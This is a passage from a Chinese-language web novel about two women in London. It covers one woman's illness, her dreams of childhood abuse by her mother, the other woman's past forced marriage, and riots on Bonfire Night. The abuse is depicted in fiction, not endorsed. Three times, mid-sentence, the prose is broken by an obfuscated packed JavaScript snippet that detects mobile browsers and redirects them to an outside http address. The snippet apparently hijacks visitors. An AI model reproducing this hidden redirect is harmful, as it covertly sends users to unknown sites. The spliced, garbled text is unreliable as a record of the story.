“这样的公寓一周怎么也得1000磅往上了吧”,Dariya有些窘迫地想,她从未走进过这样的住宅内部。 想到秋景翳从吃不起饭到住在这样的房子里,她还这么年轻,Dariya不由肃然起敬。 电梯是直接入户,秋景翳给了Dariya密码,并不知道客人具体几点会到,此刻秋景翳正坐在吧台旁,整个空间靠落地窗投射进来的自然光照明,她的身影融在日光里,眼镜反射着电脑屏幕的蓝光,纤细修长的手指在键盘上敲敲打打,头发用一支笔随意挽在脑后,几缕被遗漏的碎发随意搭在肩上。 听到电梯门打开的声音,她抬起头,声音没什么中气,“你来啦?” Dariya听着秋景翳有些沙哑的声音,看她面色苍白人也蔫蔫的,赶忙关切到:“你看起来不太好,是不是生病了?” “嗯…感冒拖得有点久。” “没有去医院看看吗?” “难约,想想也就懒得去了,不严重也好得差不多了。” “前两天给你发消息的时候怎么没告诉我?我最近没什么事,可以来照顾你的。” “没事的~吃点药多睡睡觉就好了。” 看到秋景翳手边没有收的超市冷冻速食,热好了之后没吃两口,已经完全放冷也不打算再吃了,Dariya皱了皱眉说:“虽然是一个人生活,也不能这样糊弄吧?更何况还生着病。” 秋景翳不以为意地笑了笑,“没什么胃口,生命体征维持餐嘛,垫吧垫吧不饿肚子就够了。” “晚饭我来做吧。” “不用那么麻烦。” “说真的,我做吧,我们也没还没吃晚饭。” “好是好啦…就是…” Dariya打开冰箱看了看,空空如也。 橱柜,空空如也。 酒柜,应有尽有。 “你这…也太…哎,你平常都是怎么过的啊?” “看吧~不是我故意想要拒绝你”,秋景翳摊手,“你要是本来打算带Jasmine在外面吃,就按原计划去吧,不用管我的。” “我去趟超市,买点菜回来做饭,一起吃吧。” “如果你坚持的话”,秋景翳起身去拿钱包,“不过,用我的卡吧,给你。” Dariya推诿到:“不用,我来吧,毕竟你都让我借住了,这么好的地段要是住酒店的话,我都不敢想会有多贵,买点菜做顿饭微不足道,你就当是给我的房费打了个骨折吧。” “那我跟你一起去,你等我换身衣服。” Dariya抬手制止了秋景翳的下一步动作,“外面下雨了,你老实待着”,为表强调,她又补充道:“在家帮我看一下Jasmine。” 下班时间,超市人流量很大,Dariya在吵吵嚷嚷的人群里扫视货架上的商品,除了今天的晚饭要用的,她还想再多买点烹饪起来不麻烦和方便吃的健康一点的食物备着,秋景翳看起来懒洋洋的,一日三餐瞎凑合,即便是小病,也不知道要拖到什么时候才能痊愈。 逛完蔬菜区,购物车里装了不少红红绿绿的菜,到了肉食区Dariya犯起了难,她想起上次秋景翳去自己那吃饭,素的倒是不挑什么都吃,荤腥就几乎不太碰,给自己面子勉强吃几口的时候她脸上的表情都变得不自然了,鱼也没什么兴趣,虾吃得好像没什么负担。 路过零食区,买了点Jasmine喜欢的,她又想起秋景翳甜的也不喜欢,Jasmine的蛋糕她只切了一点点还把糖霜和奶油都刮掉了只吃蛋糕胚。 Dariya站在汤料货架前自言自语,“好像挺喜欢汤的,上次好像喝了一碗吧,晚上煮个汤好了。” 汤料端在手上掂了掂,觉得自己对一个成年人的饮食关注得也太过了,她自嘲地扯了一下嘴角,“真是当妈当习惯了”,丢进购物车,她顺便看看都买了什么,还有什么遗漏。 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904715|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比给什么吃什么的Jasmine,秋景翳似乎有点忒难养了,Dariya一声轻叹,“怎么比小孩子还挑食?” “条件不好的时候都是怎么熬过来的”,她再一次发自内心地感慨了一下。 但其实Dariya心里一直有一种莫名其妙的不协调感,从进入秋景翳家之后,就一直悬在那里。 直到晚上秋景翳带着她在家里转了一圈,告诉她浴室卧室用哪个,想要什么东西可以去哪里取之后,Dariya躺在床上才缓缓理清了那种不协调感源自于哪里。 如果不是一进门秋景翳就坐在那打了招呼的话,这里完全不像是住了人的样子,没有除了生活必须品以外任何多余的东西,没有任何摆件和装饰,大部分储物柜都是空置的,就像,“像酒店…” 似乎只要把衣服塞进行李箱,住客的痕迹就会烟消云散。 仔细想想,秋景翳邀请她和她交谈的时候,没有一次用过“我家”来形容这里,而是一直在说“我住的地方”,“我那”,在她心里,这不是家,只是一个避□□落街头的屋顶。 Jasmine除了睡觉认床以外都很乖,今晚忽然换了地方Dariya哄了很久才把她哄睡着,她躺在床上看了眼手机上的时钟,已经十二点多了,热闹的伦敦市中心也开始渐渐沉寂。 正欲合眸,客厅传来几声玻璃碰撞的清脆声驱散了Dariya正缓缓上涌的朦胧困意。 秋景翳靠在吧台边上,冰凉的大理石抵着腰际,分担着身体的重量,她的太阳穴附近好像是有数不清个高速钻头在往头骨里打电钻,刚刚那一下痛得厉害,她眼前一黑,手里的酒杯磕在台面上,晶莹的橙红色液体倾倒了一片,顺着边沿淅淅沥沥地滴到地上。 秋景翳已经在Dariya走过来的时候缓过来了一点,“你…怎么没睡啊?” Dariya无意间碰到了秋景翳的手,被她冰得一激灵,六月的伦敦已经入夏了,秋景翳就算穿着短袖也不至于手这么冷,等凑近一点都不用挨着,Dariya就感受到了她身上一股不正常的热气,“你是不是发烧了?” 秋景翳的手肘支在台面上,手撑着额头,“啊…有一点…” Dariya的眼睛瞪圆,“你知道自己发烧了还喝酒啊!” “睡觉会好得快一点,我想好得快一点,但就是睡不着,本来不打算在Jasmine在的时候喝酒的…抱歉啊…” “这道什么歉啊?你去床上躺着,听话,我去给你拿点药,是我家那边一种助眠退烧很有效的草药,每次和Jasmine出门我都会随身备着。” “哦,好”,秋景翳晃晃悠悠地起身,她还想顺手把台面上和地上的狼藉收拾干净,被Dariya从自己手里抢走了厨房纸,她妥协到:“行吧,放这明天我再弄干净。” “交给我就好了,多大点事,你快去躺着吧。” “那好吧…麻烦你了。” 药效立竿见影,没一会秋景翳就睡熟了。 只是那些熟悉的梦境又一次缠上了她。 然而这一次,在她等着那双没有温度的手一如既往地掐上她的脖颈,剥夺她的呼吸时,预料中的窒息感并没有如期而至,取而代之的是一片轻柔地贴上额头的干燥温热。 梦境外,Dariya半夜起来查看秋景翳的状况,见她眉头紧促眼睫轻颤,睡得很不安稳,因为无法跨越的心理障碍,她犹豫了半天才下定决心摸秋景翳的额头。 本打算挨一下了事,谁料秋景翳迷迷糊糊间抓住了她的手放在了自己的鼻尖下,紧贴着脸颊,Dariya的身体开始不受控制地颤抖,还好秋景翳没用什么力气,她慌乱地抽回了手,心率过速大口喘气,好在睡着的人似乎平静了不少,她头也不回地逃回了自己的房间。 4. 梦魇 又一次被困在了那个无力反抗的瘦小身躯里,不知道这次是要潜意识想让秋景翳看到哪一天,毕竟相似的情景在她小时候,日复一日数不清复制粘贴了多少次。 窗外是熙熙攘攘人头攒动的黄浦江畔,家里却有种令人毛骨悚然的安静,秋景翳坐在顶层复式的客厅里,家里的大人还没醒。 从出生到现在,秋景翳踏出这个家门的次数只手可数,明明是住在这个纸醉金迷的城市中最繁华最中心的地段,她却觉得外面的世界离她无比遥远。 梦里秋景翳可以大部分时间保持头脑清醒,但无法控制身体,她就这么坐着,等了又等,早已过了上课的时间,今天似乎不会有老师来了,她想这应该是个周末。 不知又过了多久,楼梯上传来了脚步声,那脚步声里还参杂着金属轴承转动的吱吖声,程嘉曦穿着吊带裙,左腿是条价值上千万美元的仿生义肢,她在秋景翳面前从不避讳身上的痕迹,有打的有绑的,还有咬的。 秋景翳回头看向她,只有一个人,她便知道那个每次过来就要勒令她把自己锁进房间里不到天亮不许出来的男人已经离开了。 她对那个男人的了解只有,他叫秋宇炀,他说他是她爸爸。 刚才还光秃秃的茶几,在秋景翳回过头的一瞬间出现了几瓶治外伤的药,她把药揽进怀里小跑到程嘉曦面前。 这个年纪的她还不懂大人复杂的感情,她知道这个女人是自己的妈妈,但没有人教过她,她也几乎没有出过门没机会了解人际关系,所以她不知道妈妈到底应该是个什么样的存在,她只知道这个人和她一样被关在这个房子里出不去,所以她认为这应该是一种很亲密的关系。 也正是因为这样,她那时候哪怕贴了无数次冷屁股,也依然乐此不疲地讨好着这个同在一个屋檐下的人。 “妈妈…” 因为昨晚并非出于本心的欢|爱,因为这个女孩是那个男人的孩子,程嘉曦在秋景翳跑过来的时候,胃里一阵翻江倒海的恶心,她扶着墙在干呕了几声,连一个多余的眼神都不愿分给秋景翳,“不许这样叫我!不要跟我说话!滚开!别靠近我!” 一开始程嘉曦甚至不许秋景翳叫她妈妈,但她们之间总得有个称呼,直接叫名字她更接受不了,总不能一直,“哎”,“喂”,“那谁”,这样叫吧,所以后来在她心情不算糟糕的时候,会默许“妈妈”这个称呼。 秋景翳对程嘉曦发脾气的样子并不陌生,但还是战战兢兢地后退了几步离远了一点,“对…对不起…”她把药瓶小心翼翼地原地放下,摆好,“你…受伤了,得涂药。” 程嘉曦一点没有被秋景翳的关心安慰到,反而燃起了满腔怒火,灼烧着她的五脏六腑,“让你滚开,听不懂人话吗?”说完她就把自己关进了卫生间里。 晨雾在日照中渐渐蒸发,风控系统也不能完全过滤掉南方的潮热,秋景翳静静跪坐在茶几边的地毯上写作业,还是免不了起了一身薄汗。 浴室里断断续续传来东西砸在地上和墙上的声音,有明显的暴躁和愤怒的痕迹,按理来说秋景翳这么大的孩子,应该会因为大人的脾气而恐慌,但她一直无动于衷,像是习以为常。 花洒喷出的水浇在程嘉曦的脸上和身上,她机械地用浴球反复揉搓着身体,皮肤都充血了手上的力度也丝毫不减,她对身上的痕迹厌恶至极,一直仰着头盯着天花板看都不想多看一眼,洗澡水流进了眼睛,眼球又酸又疼,从眼角滴落的液体分不清是自来水还是泪水,“脏死了,怎么都洗不干净…” 啜泣声太过轻微,连挣扎着留下的机会都没有,混着泡沫被一同冲进了下水道,就像那些废水一样,无人在意。 洗不干净,怎么都洗不干净,无论是秋宇炀留下的东西,还是自己身体里和他相似的部分。 家里有不止一个保姆,负责打扫做饭等等不同的工作,但都不住在这,只在每天的特定时间来履行自己的职责,秋景翳不喜欢这些人,因为她们几乎一个字都不愿意往外吐,像是被下了什么哑咒一般。 保姆做好午饭就离开了,两个人的饭是按照惯例分开的,秋景翳都吃完了程嘉曦还是没从浴室出来,本着同在一个屋檐下要互相照顾的原则,她打算去看看。 秋景翳先是拘谨地敲了敲,里面没动静,她等了等,几分钟后又敲了敲,力气大了点,依然没人应。 那时候她刚学过死亡这个词,就好像是鲜活的生命本能的和阴暗的死亡不对付一样,这两个字让她畏惧,有很长一段时间她都会不受控制的胡思乱想,就比如现在,明知道人就在里面却没有一点声音,静到让她心里犯怵。 刚走开两步,斟酌了一下,秋景翳又转了圈原路返回,她拉动门把手,没有上锁,对着门缝轻声喊了句,“妈”,没有得到想象中的恶劣回应,她胆子大了点推开门走了进去。 随着门打开的角度,最先映入眼帘的是台子上喝完的空酒瓶,再是躺在浴缸里的程嘉曦,看不出是不是在睡觉,因为合着的眼皮下眼球没有在颤动,她一只手搭在外面,胳膊上的水早已干透。 浴室冷白的光从天花板洒下盖在那具躯壳上,秋景翳下意识觉得那具身体已经凉了透,她着急忙慌地跑过去,不停摇着那只胳膊,害怕从意识的最深处生了芽,长得飞快,“妈?妈妈?你醒醒…醒醒…” 是害怕没有妈妈吗?不是,是害怕身边和她一样活着的生物不再喘气,变臭腐烂,害怕只剩下她一个人被关在笼子里。 被叫烦了,喝得头晕的程嘉曦不满地啧了一声,费力抬起眼皮,把秋景翳也拽进了水里。 “啊!”水已经泡凉了,秋景翳被生理和心理上的刺激吓了一跳,程嘉曦按着人的手用了力。 呛了几口水,秋景翳挣扎着爬出水面,伏在浴缸边,一边剧烈咳嗽一边大口大口汲取着氧气。 程嘉曦挪了地方,动作轻柔缓慢到甚至让人觉得优雅高贵,即使她现在寸|缕不|挂,即使她刚刚近乎凶残地对待自己的孩子,她伸手捏住秋景翳的脸,端详了一会,然后轻蔑地笑了,从齿间嚼出一句讥讽,“你真脏。” “我…脏…?” 这句话倒是新鲜,不知是因为程嘉曦很少说,还是秋景翳忘了,反正梦里是第一出现。 秋景翳就这样被迫和程嘉曦对视着,她渐渐在那双眼睛里发现了端倪,漆黑的眼底没有映着自己的影子。 这句话,程嘉曦是说给秋景翳,更是在说给她自己。 很少和外界接触抵抗力低下的秋景翳泡了凉水之后发起了高烧。 被困在梦里,时间是不连续的,再次有清晰的意识时,秋景翳正趴在卧室的地毯上,她看了眼身上没换但已经风干的衣服,才知道自己原来是烧晕过去了。 暮霭碎在地上,大半天过去,她就这么烧着,水米未进别提有多难受。 疾病不仅会攻击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904716|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免疫系统,还会拉低心理承受力让人变得脆弱,更不要说一个小孩子。 秋景翳本能得想要索求一个拥抱。 奈何程嘉曦昨晚被折腾狠了,一箱炸药填在胸口,秋景翳迷迷糊糊扑过来就像是根火柴点燃了引线。 发着烧还被掐着脖子,秋景翳神智不清,头疼,眼球仿佛要胀出眼眶,颈部的肌肉和血管被紧紧压迫发出咔咔的声音,肺不停收缩,胸腔像是堵了支橡木塞子,还是最劣质廉价的那种,掉落的木屑不停渗透进身体组织。 程嘉曦的手和胳膊没留下多少反抗的抓痕,秋景翳眼前阵阵发黑,连求生都很敷衍,她至今都不知道那时的程嘉曦到底是一副什么样的表情。 “你到底还想让我的生活变得多糟糕?你要是能消失就好了!”只有这句话一直留在秋景翳的记忆中,因为缺氧外界的声音飘得很远,唯独这一句她听得无比清晰。 没关系,掐吧,再掐一会就会醒了,醒了痛苦就会停留在过去和梦里,她想。 痛苦确实消失了,但这一次她并没有醒来,而是十分意外的,程嘉曦的手掌落在了自己的额头上,眼神里没有憎恨和冷漠,只有令她陌生的心疼。 一滴泪水从秋景翳的眼角滑落。 Dariya惊慌地抽回手,后退几步冷静片刻后,她回味了一下秋景翳的体温,已经基本退下去了,刚松一口气,就看见从窗帘缝隙漏进来的月光照亮了那颗浑圆的泪珠。 “为什么…为什么哭了…” 秋景翳半上午才醒来,伸了个懒腰,身上特别轻松,她活动了一下四肢感叹到:“很久没有睡得这么舒服过了,Dariya的药这么有用吗?” 难得这么舒服,身上犯懒,反正没什么食欲秋景翳不想起床,索性拿过电脑开始躺在床上写论文。 写到中午她终于觉得有些饿了,下床洗了个漱,准备去厨房找吃的,生病不能吃重油重盐的,想起Dariya昨天好像买了全麦吐司,随便对付两口好了,她这么盘算着。 手刚搭上门把手就听到了屋外的人声,秋景翳有一瞬间连呼吸都忘了。 Dariya正在给Jasmine喂饭,她手里摇着个有塑料珠子填充的玩具,Dariya按住她的手说:“嘘,小秋在睡觉,我们不要吵到她好不好?” Jasmine坐在椅子上,脚沾不到地乱扑腾,摇头晃脑地说:“唔…好~” “吃饭的时候不要乱动,喂完你,妈妈还要叫小秋起床吃饭,不能让她一直这么睡,生病了不吃饭不行的,饭饭放凉了再热就不好吃了是不是?所以你乖一点,快点把这碗汤喝完。” 秋景翳一字不落地听到了这段对话。 冷冷清清住了这么久,她第一次给这个房子下了个无比陌生和新鲜的定义——家。 “像…家…” 手紧紧攥着把手却始终按不下去,她第一次觉得自己和那些缺失的东西只隔了一道门,只有几步之遥,是如此唾手可得。 “噩梦做多了,终于轮到我做次美梦了。” 秋景翳松开门把手,站在原地发了会呆又窝回了床上,她也不知道自己为什么要这么做,就是想,单纯想。 哪怕就算再烧晕过去一次,也不用怕自己会默默无闻死在这里无人收尸,秋景翳这么想了想,然后哼笑了一声,她把被子掖到眼睛下面打算继续装睡,心头有股抓不到养意,“真好…” 5. 毕业 九月,一个完整的学年结束,Dariya的公寓租期也到了,房东要涨租金,她搬去了一个便宜点的街区。 砰!软木塞崩到了墙角,白色的泡沫喷泉似的从瓶口滋出来,秋景翳变魔术似的不知道又从哪摸出来个香槟杯,倒满二分之一推到Dariya面前,“Congratulations!” Dariya松开捂着Jasmine耳朵的手,“谢谢~你看你,明明是来帮我的,还要自己买酒。” “你拿了一等学位啊,当然得庆祝一下咯!” Dariya等着秋景翳继续她的“魔术”再变一只杯子出来,结果半天都没动静,“怎么就一杯?你不喝吗?” 秋景翳坐在高脚凳上,用胳膊垫着脸,趴在吧台上歪头看Dariya,“今天不了,下次再陪你喝吧,我开车了。” 认识这么久,还是第一次听她说出门会开车,“开车…?” “噢,朋友的,我没车”,秋景翳支起了身,伸出一只手逗Jasmine玩,一脸我知道你在想什么的表情,“你不会以为我之前说吃不起饭的话是在逗你玩吧?” “额…有点,毕竟你住的地方…” “借住”,秋景翳的表情暗淡了一瞬又恢复正常,“吃不起饭是我读本科的时候,没有奖学金还要交学费和顾自己的生活,确实很拮据,虽然现在好多了,但我还是很需要钱,因为我要买一个属于自己的房子,我要有一个自己的家。” 不用怕哪天会被人赶出去,不用和人产生纷争,想离开就离开,想停留就停留,真真正正可以自己做主的家。 Dariya想起了秋景翳一个人凑合到没下限的生活习惯,和那几天她对自己的依赖,“再换一个空荡荡的房子,就算在你名下,那对你来说也依然不是家,或许关爱和陪伴才是你想要的。” “对我来说都是很奢侈的东西”,一语中的,秋景翳没否认,“不过先从最简单的来嘛,用钱能买到的东西总有办法能得到,哲学领域的东西就…随天意咯,反正我想要的东西想做的事有很多,有限的生命里总不会事事都如我所愿,实在没有的我也不强求。” “你这种心态真好。” “那也是没办法的事~我哪有那种能逆天改命的本事呢”,秋景翳往前凑了凑,冲Dariya挤了挤眼睛,“要么,你来陪我住吧?” “啊,不…不好吧?” “嘿嘿,知道你会有心里负担,我说着玩的,不过以后你来伦敦的时候,随时欢迎住我那。” Dariya在超市的短期工作合同到期了,正好拿到毕业证不用再受学生身份限制,又因为还没找到工作,本想和经理谈一谈将兼职变成全职的事情,结果被很遗憾地通知招到了新人来补充,不能再和她续约了。 临近万圣节,她结束了最后一个轮班。 Jasmine的幼儿园在一片私人住宅区,每一户都像在较劲似的,装扮得十分夸张,Dariya走过满街的烟火气,陌生的国度,无根的浮萍,她生出一股沁透心肺的悲凉。 幼儿园的小朋友们都开始了角色扮演,女孩子们尤其喜欢各式各样的公主裙。 Jasmine和一个新认识的朋友一起出校门,Dariya看到她一直在瞟那女孩身上白雪公主的裙子,直到看到在路边等她的自己才收回艳羡的目光跑了过来,“妈妈~” Dariya抱住她,“Jasmine~今天在学校过得开心吗?” Jasmine和身后的朋友不舍地告了别之后用力点点头,“嗯嗯!” Dariya被她的懂事刺痛了,“我们Jasmine也想要公主裙吗?” “嗯…”Jasmine犹豫了一下,想到妈妈每天那么辛苦,摇了摇头,“不要…” “真的吗?你不用想别的,妈妈只希望你不管想要什么都可以直接和我说”,自己经历过的不幸无法改变,但至少可以把缺失的部分弥补到Jasmine身上,让她幸福的长大,“Jasmine想扮什么公主呢?” Jasmine的眼睛瞬间翻起了光亮,“我想当贝儿公主!” “好!那咱们现在就去买衣服。” “妈妈是小美人鱼。” “为什么呀?” “因为妈妈聪明,秋,是吸血鬼。” Dariya一顿,“小秋是吸血鬼?为什么?” “苍白,美丽,像死掉了”,她不知道吸血鬼象征什么,单纯是秋景翳实在贴合她听过的万圣故事里的描述。 Dariya及时纠正到:“不许瞎说,不可以用‘像死掉了一样’这样的话来描述别人。” “对不起…妈妈,我们可以去找秋玩嘛?我想她了。” “那等回家了我问问她有没有空。” “好耶!” 万圣节当天是工作日,赶山火车罢工,秋景翳从学校回来已经很晚了,一进家门就被两个南瓜灯吓了一跳,窗户上的彩灯闪得家里忽明忽暗的。 Jasmine跑出来,扑到秋景翳腿上,张牙舞抓地扮了个鬼脸,“Trickortreat!” “呐~给你糖,贝儿公主”,秋景翳笑着从口袋里掏出学院万圣节活动领得糖。 Jasmine激动地拉着秋景翳给她炫耀那两个南瓜灯,“这是我和妈妈做的!” 两个人中午才到,秋景翳不禁感叹到:“自己做的?真棒啊!” Dariya终于捋顺了爱丽儿的那顶假发从卧室走出来,“你回来了”,她摊开手递给秋景翳一个盒子。 “红发倒是蛮适合你的嘛”,秋景翳接过盒子打开一看,“这是什么?牙齿贴片?” Jasmine呲了呲牙,“吸血鬼。” 秋景翳:“吼,我们还是个挺多样化的组合嘛。” Dariya:“哈哈,吸血鬼是她刚学的新词,你要是不喜欢不用迁就她。” “没事~很符合我的形象,公主殿下开心就好是不是”,秋景翳揉了揉Jasmine的脑袋,“等我换个衣服,我们出去要糖吃咯~” Jasmine精致的娃娃脸配上金黄带细闪的公主裙,在满街的奇装异服里也格外显眼,小篮子没一会就巧克力和糖果填满了,甚至还不知道从哪拐了个小男孩一直跟在身边当骑士守护她。 秋景翳和Dariya跟在后面,秋景翳忽然说:“来都来了,多待几天再回去嘛。” “啊?” “五号是bonfirenight,嗯…你忙了这么久了,就当喘口气,给自己放个假呗,有篝火和烟花,Jasmine会很喜欢的,等她明年上reception了,就不能想请假就请假了,趁现在多带她玩玩嘛。” 还有…还有我的一点点私心,这样连续的热闹里,既然你出现了,那就多陪我一会,戒断留到平常的日子我会好受一点,就像上次一样。 Dariya总是会下意识逃避不求回报的好意,她觉得一切都应该是等价的,这样就不会有亏欠不会有把柄,她想了想说,“那好吧,不如我买点东西布置一下,后面是圣诞和新年,让你那有点过节的热闹气氛”,她走了几步才发现身边的位置空了。 秋景翳不知道什么时候停住了脚步,“那我会更不想让你走的”,风吹散了她的头发,挡住了她的眼睛,将她的声音融进了喧闹里。 “什么?” “没什么,谢谢你”,秋景翳眼睫弯弯得像是心里装着什么高兴事,她快走两步追了上去。 “什么嘛,明明我才该说谢谢啊。” 五号正好是周末,秋景翳坐在吧台旁,因为高度合适,她最喜欢在这办公和学习。 Dariya刚打完一个面试电话,难掩失落,秋景翳安慰她:“别沮丧啦,你很优秀的,是经济下行,不是你的问题。” Dariya无奈地叹了口气,苦笑一声,“因为优秀被拒绝了呢。” “啊???” “这次是因为上过大学所以被拒绝了,算了不提了,你这是…在看什么呢?”Dariya看到秋景翳黑色的屏幕上那些外行人觉得杂乱无章的蜡烛图和彩色的线条问。 “这个吗?股票。” Dariya印象中秋景翳是学国际法和人权法的,她一边在冰箱和橱柜里取东西准备做饭一边问:“怎么研究起经济学来了,你不是学法的吗?” “自然是赚钱咯。” Dariya一边切菜一边和秋景翳闲聊,“我以为你会想当法官或者律师呢。” “梦想和刚需是两码事,炒股和投资只是副业,好不容易攒出一点闲钱,自然要钱生钱嘛,我呢,想当国际法院的法官,我知道因为稀有所以会很艰难,也可能终究无法实现,但我依然会从国际法从业者和学者开始慢慢做起,不论需要多么努力,花费多少时间,我都希望女性也可以拿起法槌,让长久以来偏斜的天平往平衡的位置回归一点,我相信,公正诞生于平等。” “公正诞生于平等…”Dariya在唇齿间复捻了一遍这句话,“可这个世界永远不会有真正的平等,财富, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904717|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权利,性别…得利者掌控一切。” “没错,所以绝对的公正也不会存在”,秋景翳的语调低迷了一瞬,然后变得更加坚定,“可因为这样,我们就该放弃追求平等和公正吗?一个人的力量,一点点改变,都会成为塑造未来的根基,止步不前就什么都不会得到。“ 这句话似利刃般穿过Dariya的胸膛,她堆砌起来包裹着曾经的自己的坚硬外壳被砸出了裂纹,“以前的我和现在的你有点像,我也总想做看起来做不到的事,我原本学的物理,博士论文我选了最难的课题,如果能做完一定可以在核心期刊发表,继续深入下去大概率还会拿奖,要不是因为一些…事,我也不会转去学数学,哦不,应该说要不是有个教授好心收留,我连博士都没可能读下去。” 秋景翳总觉得Dariya身上有一种温柔,和传统意义上浑然天成的温柔性格不一样,倒像是一种被霜寒打磨过的韧草身上才有的独一无二的感觉,她问:“是因为那个…不让女性接受教育的提案吗?” 是也不是,这件事只是个起因,Dariya囫囵到:“嗯…算是…” “那现在你既然已经离开了,不用再受那些限制,怎么不试试去完成过去没能完成的事呢?你一直坚持的或许才是更适合你的,去做研究然后发表和拿奖,用你的成就去换一张在这个世界上通行无阻的门票不好吗?” 这样的确更好,但是…搞学术做研究是需要资本的,时间金钱缺一不可,而且她没有勇气再去碰那个时期的东西,Dariya摇了摇头,“哈…人嘛,总是要先解决更实际的困境,才能去追求更遥远的东西。” 秋景翳没有立刻回这句话,而是玩了会笔像是在思考些什么,她怎么这就忘了生活窘迫时的百般考量呢? 人只要熬过了痛苦,那段真实的感受就会渐渐尘封,会觉得这些都不是什么大事,站在岸上再回头看时,才惊觉自己已无法完全共情仍旧陷在这片泥沼中的人。 在Dariya以为这个话题不会有下文的时候,秋景翳突然开口,“你和我结婚呗?我给你担保,这样你就可以留在这里,然后心无旁骛地去做你想做的事,嗯…反正…你人不错,我完全没什么损失,不对…好像受益的也是我。” 她的语气一点也不严肃,本该郑重的承诺,被如此轻飘飘的以半开玩笑的方式说了出来,Dariya的手顿了一下,抓着的洋葱掉在了地上,发出一声闷响,“你在…说什么啊?” “被同性求婚吓到了吗?反正是合法的很正常,又不是要让你爱上我”,秋景翳捡起滚到自己脚边的洋葱放到桌面上,态度依然不怎么认真,但她的出发点只是不想让这个和人生大事相关的话题太沉重,“我知道你肯定会觉得过意不去,我不需要你付出金钱的,我们就继续像现在这样,你就…Um…就做做饭啊或者家务什么的?只是持续的时间久一点,毕竟得同居应付移民局检查,就当~我给自己“买”了两个家人嘛~” Dariya放下刀子,金属碰撞大理石发出一声脆响,“我出钱购买你的担保,或者成为你用担保收买的“妻子”,秋,你觉得婚姻是菜市场里的买卖吗?” “不…不是啊”,秋景翳只是觉得如果不索求点什么Dariya百分百不会答应,没想到竟一脚踩进了雷区。 “我跟你讲个故事吧,我曾经被爸妈用一枚廉价的银戒指卖给了住在同一条街的丑陋屠户,像甩掉一个累赘一样,没人把我当人看,我只是一个廉价的商品,哪怕赔本也要尽快出手,不然只会贬值,他来我家“付款”的时候,因为我——他的所有物的不待见,寒冬腊月,他将我拖到池塘边,一次又一次把我按进冰冷的满是泥污的脏水里,他说着难以入耳的话讥讽我,如果他少打我几顿我都应该对他感恩戴德,因为这是一场交易,而我作为一个提供价值的货品,只能沦为这段关系中处于下等的那一个。” 秋景翳意识到自己失言,即便无心,她也确实动了不用任何劳务合同,理所应当独占这份陪伴的心思,“对不起…是我话说得不妥,我不知道你经历过这些,我不是故意想惹你难过的…” “你刚刚不是说了要平等吗?人所拥有的价值如果被当成明码标价的商品,又哪里会有平等呢?毕竟,连作为“人”的权利都被剥夺了,不是吗?谢谢你的好意,但这份好意会摧残我的尊严。” 人的劣根如此,当在某种程度上成为给予或施舍的那一方后,就会不自觉地将另一方视为自己的附庸。 继而,开始掠夺,奈何这样的掠夺是一个温水煮青蛙的过程,等醒神时已无脱身可能。 6. 烟花 秋景翳写完了一篇马上要到截止日期的分析点了提交后拿起手机,正好弹出一篇推送:“Bonfirenight”是为了纪念1605年发生在英国的叛国事件,由于国王詹姆士一世的宗教迫害,极端天主教徒计划在十一月五号国王召开会议当天炸毁国会大厦,杀死国王…篝火庆祝活动会对公共安全造成威胁,火灾,斗殴,伤人事件频发,每年这天消防与警察会增加两倍不止,造成数万英镑损失… 两个多小时前,和Dariya不太和谐的对话在一场沉默的午饭中结束,吃完饭之后Dariya就带着Jasmine出门去买烟花爆竹了,因为要绕些路,没让秋景翳一起,只说晚上在烟花秀门口见。 刚想发条消息提醒Dariya今天尽量不要去人多的地方,就看到BBC在推送后紧跟着发来一条突发新闻:因能源与物价飞涨,税费负担过重,工资过低,导致民众对政府极端不满,今日午后,伦敦市区多地发生暴动,示威者携带刀具,有目击者反映称自己听到了枪声,伦敦警方已迅速响应,展开调查,更多内容请关注… 随文附上一张带标注的地图,秋景翳一眼就看到了有一个区域正好离烟花秀不远,是Dariya带Jasmine买烟花的地方,她立即打了Dariya的电话,一个,两个,三个…一直无人接听,不安的阴霾笼罩,一刻不耽误,秋景翳拿上外套就出了门,边走边穿在路边拦了辆出租,直奔风暴中心。 天灰蒙蒙的,街景带着阴暗的色调,地面没有积水泛着层薄薄的水光,细雨如银丝,风一吹便能看到漂泊的水幕,打伞有些多此一举,雨落在身上没什么太大的感觉,只是有一种掐不出水的潮,十分典型的英国天气。 因为事发突然,人群和示威者混在一起,外加很多不知所以的民众,场面极度混乱,无序是英国teenager的兴奋剂,他们用烟花筒对着街道对着人群乱轰,直到有人受了伤,一声尖叫高喊着“Stabbing(持刀伤人事件)”,才将恐慌的浪潮一波又一波地向外圈推移。 